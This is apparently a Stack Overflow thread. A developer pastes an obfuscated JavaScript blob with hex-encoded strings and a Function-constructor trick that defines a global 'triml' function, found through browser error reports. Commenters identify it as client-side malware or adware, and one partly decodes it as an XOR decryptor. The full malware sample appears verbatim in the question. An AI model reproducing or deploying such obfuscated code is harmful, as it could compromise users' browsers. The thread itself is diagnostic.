4

we use a tool to track js errors which happen in the browser of our users. We sometimes see that underscore raises an error like TypeError: string is not a function because it is overwritten by string looking like this

var _0x54e9 = ['triml', "\x72", "\x65\x74\x75\x72", "\x6E\x20\x74\x68", "\x69\x73", "\x63\x6F", "\x6E\x73\x74\x72", "\x75\x63\x74\x6F\x72", "\x66\x69", "\x6C\x74\x65", "\x62\x69\x6E\x64", "\x63", "\x68\x61\x72", "\x43", "\x6F", "\x64\x65\x41\x74", "", "\x61\x70\x70\x6C\x79", "\x70", "\x72\x6F\x74\x6F", "\x74", "\x79\x70\x65", "\x46\x75\x6E\x63\x74\x69\x6F\x6E", "\x4D\x61\x74\x68", "\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C", "\x63\x6C\x65\x61\x72\x49\x6E\x74\x65\x72\x76\x61\x6C", "\x6A\x6F\x69\x6E", "\x70\x75\x73\x68", "\x70\x61\x72\x73\x65\x49\x6E\x74", "\x66", "\x6D", "\x68", "\x61\x72", "\x64\x65", "\x73\x70\x6C\x69\x74", "\x63\x6F\x6E\x63\x61\x74", "\x31", "\x30", "\x32", "\x72\x61\x6E\x64\x6F\x6D", "\x73\x70\x6C\x69\x63\x65", "\x40", "\x74\x6F\x53\x74\x72\x69\x6E\x67", "\x0A\x0A\x0A", "\x6C\x65\x6E\x67\x74\x68", "\x6E", "\x61\x74"];
[][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()[_0x54e9[0]] = function(_0x95b5x1, _0x95b5x2) {
    try {
        with({
            console: null,
            window: null,
            s: [(function _0x95b5x10() {
                return (this[_0x54e9[44]] < ((([][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()[_0x54e9[23]][_0x54e9[39]]() * 44332) + 323456) >> 0)) ? _0x95b5x10[_0x54e9[17]](this[_0x54e9[11] + _0x54e9[14] + _0x54e9[45] + _0x54e9[11] + _0x54e9[46]](this)) : this
            }[_0x54e9[17]](_0x54e9[43]))[_0x54e9[42]]()],
            c: []
        }) {
            var _0x95b5x3 = [][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()[_0x54e9[22]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[10]][_0x54e9[17]]((_0x54e9[16])[_0x54e9[11] + _0x54e9[12] + _0x54e9[13] + _0x54e9[14] + _0x54e9[15]], [_0x95b5x1]),
                _0x95b5x4 = [][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()[_0x54e9[23]],
                _0x95b5x5 = (function(_0x95b5xf) {
                    _0x95b5xf && _0x95b5xf()
                }),
                _0x95b5x6 = _0x95b5x2 ? _0x95b5x5 : [][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()[_0x54e9[24]][_0x54e9[10]]([][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()),
                _0x95b5x7 = _0x95b5x2 ? _0x95b5x5 : [][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()[_0x54e9[25]][_0x54e9[10]]([][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()),
                _0x95b5x8 = 1000000,
                _0x95b5x9 = [][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[26]][_0x54e9[10]](c, [_0x54e9[16]]),
                _0x95b5xa = [][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[27]][_0x54e9[10]](c),
                _0x95b5xb = [][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[27]][_0x54e9[10]](s),
                _0x95b5xc = [][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()[_0x54e9[28]],
                _0x95b5xd = (_0x54e9[16])[_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[29] + _0x54e9[1] + _0x54e9[14] + _0x54e9[30] + _0x54e9[13] + _0x54e9[31] + _0x54e9[32] + _0x54e9[13] + _0x54e9[14] + _0x54e9[33]],
                _0x95b5xe = _0x95b5x6(function() {
                    try {
                        (function() {
                            try {
                                [][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[40]][_0x54e9[17]](s, [1, _0x95b5x4[_0x54e9[39]]() * _0x95b5x8 + _0x95b5x8]) && [][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[40]][_0x54e9[17]](c, [0, _0x95b5x4[_0x54e9[39]]() * _0x95b5x8 + _0x95b5x8]) && _0x95b5x7(!(this[_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[17]](this[_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]], [(function() {
                                    while ((this[5]++, _0x95b5xa(_0x95b5x3(this[5] - 1) ^ this[0] ? ((!((!(_0x95b5x3(this[5] - 1) & this[1])) && (_0x95b5xb(_0x95b5xd(_0x95b5xc(_0x95b5x9(), this[4])), [][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[40]][_0x54e9[17]](c, [0, _0x95b5x4[_0x54e9[39]]() * _0x95b5x8 + _0x95b5x8]) && _0x54e9[16])))) ? this[1] : _0x54e9[16]) : this[2]), !!this[7 + this[5]])) {}
                                }[_0x54e9[10]](this)[_0x54e9[17]]()) || ([][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[26]][_0x54e9[17]](s, [_0x54e9[16]])) || _0x54e9[41]])() && [][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]][_0x54e9[18] + _0x54e9[19] + _0x54e9[20] + _0x54e9[21]][_0x54e9[40]][_0x54e9[17]](s, [1, _0x95b5x4[_0x54e9[39]]() * _0x95b5x8 + _0x95b5x8])) && _0x95b5xe)
                            } catch (A) {
                                _0x95b5x7(_0x95b5xe);
                                if (_0x95b5x2) {
                                    throw A
                                };
                            }
                        }[_0x54e9[10]]([31, _0x54e9[36], _0x54e9[37], _0x54e9[16], _0x54e9[38], 0][_0x54e9[35]](_0x95b5x1[_0x54e9[34]](_0x54e9[16])))())
                    } catch (A) {
                        if (_0x95b5x2) {
                            throw A
                        }
                    }
                }[_0x54e9[10]]([][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])()), 1)
        }
    } catch (A) {
        if (_0x95b5x2) {
            return A
        }
    }
}[_0x54e9[10]]([][_0x54e9[8] + _0x54e9[9] + _0x54e9[1]][_0x54e9[5] + _0x54e9[6] + _0x54e9[7]](_0x54e9[1] + _0x54e9[2] + _0x54e9[3] + _0x54e9[4])());

Does anyone have an idea where this comes from and how to prevent this?

mu is too short
  • 426,620
  • 70
  • 833
  • 800
JoKer
  • 1,074
  • 1
  • 8
  • 11
  • 1
    How do you link the error to Underscore? – Valentin Waeselynck May 11 '15 at 11:46
  • 3
    I wouldn't recommend anyone to run this code. It's a piece of malware. – Ruslanas Balčiūnas May 11 '15 at 11:59
  • At http://ddecode.com/hexdecoder/?results=a309e99c10e497f4ccce5d5f445749ac you see the decoded value for the array. From there you can descramble the other parts. They're assembled from the array values. – Reeno May 11 '15 at 12:06
  • I assume it's badly written client side malware (browser bars etc.). You can't do anything about it besides recommending tools like [Spybot - Search & Destroy](https://www.safer-networking.org/) to your visitors. This isn't affected to underscore.js, they only use a function name starting with an underscore. I use [qbaka](https://qbaka.com/) to detect client JS errors and I get a lot of error messages related to some adware, malware etc. – Reeno May 11 '15 at 12:39
  • hi, thanks for your comments. I also assumed that this is related to some maleware. I'm happy to see that you guys confirm this. I wonder what is the best way to regain the underscore functionality. We are think of moving to `lodash` which would give us the possibility to do `$(function() { _ = lodash })` which I think would give us its functionality back in case some malware had overwritten it. Do you know if I could do the same with `underscore`? – JoKer May 11 '15 at 13:59
  • I don't think this malware overwrites underscore.js. They just share the first letter. But maybe the malware JS causes an error in some browsers and thus the browser doesn't load other JS files (like underscore) and so other JS function fail. – Reeno May 11 '15 at 14:14
  • 1
    @Reeno: for what it's worth, the malware in question uses `Array#filter`, which does not exist in IE8. It would be interesting to know if there's a pattern in the user agents reporting this problem. – DCoder May 11 '15 at 14:42
  • Thanks @DCoder. JoKer, does your tool to track the errors log the browser? – Reeno May 11 '15 at 14:45
  • @Reeno The tool tracks `TypeError: string is not a function` when I call `_()`. That's why I think `_` is overwritten. It also happens in code which is only called when all the code is loaded (`$(function {})`). I'm quite confident that `underscore` was loaded at this point. – JoKer May 11 '15 at 14:55
  • @JoKer: can you reproduce this in your browser by yourself, or are you just relying on the file/line indicators in your error reports? – DCoder May 11 '15 at 15:05
  • No, I can't reproduce it. I only see them in the error reports. BTW I use Rollbar for tracking. – JoKer May 12 '15 at 09:58

1 Answers1

1

This code has nothing to do with undersore.js. These are just variables starting with _. Best way to regain functionality is to restore site from last backup unaffected by malware. Fix vulnerabilities (such as MySQL injection) in your code and update third party components to avoid further exploitation of a system. Update and backup often.

Ruslanas Balčiūnas
  • 7,310
  • 3
  • 24
  • 41
  • Thanks Ruslanas for your answer. I'm very sure that it isn't related to my js code. I've never been able to reproduce it myself. I've only seen these errors in the error reports of Rollbar (js tracking system). – JoKer May 12 '15 at 10:01
  • I have partially decrypted code. It registeres `window.triml` function which seems to do nothing harmful in itself. It has `xor` operation somewhere in it's body so I guess it's some kind of decryptor. – Ruslanas Balčiūnas May 12 '15 at 10:15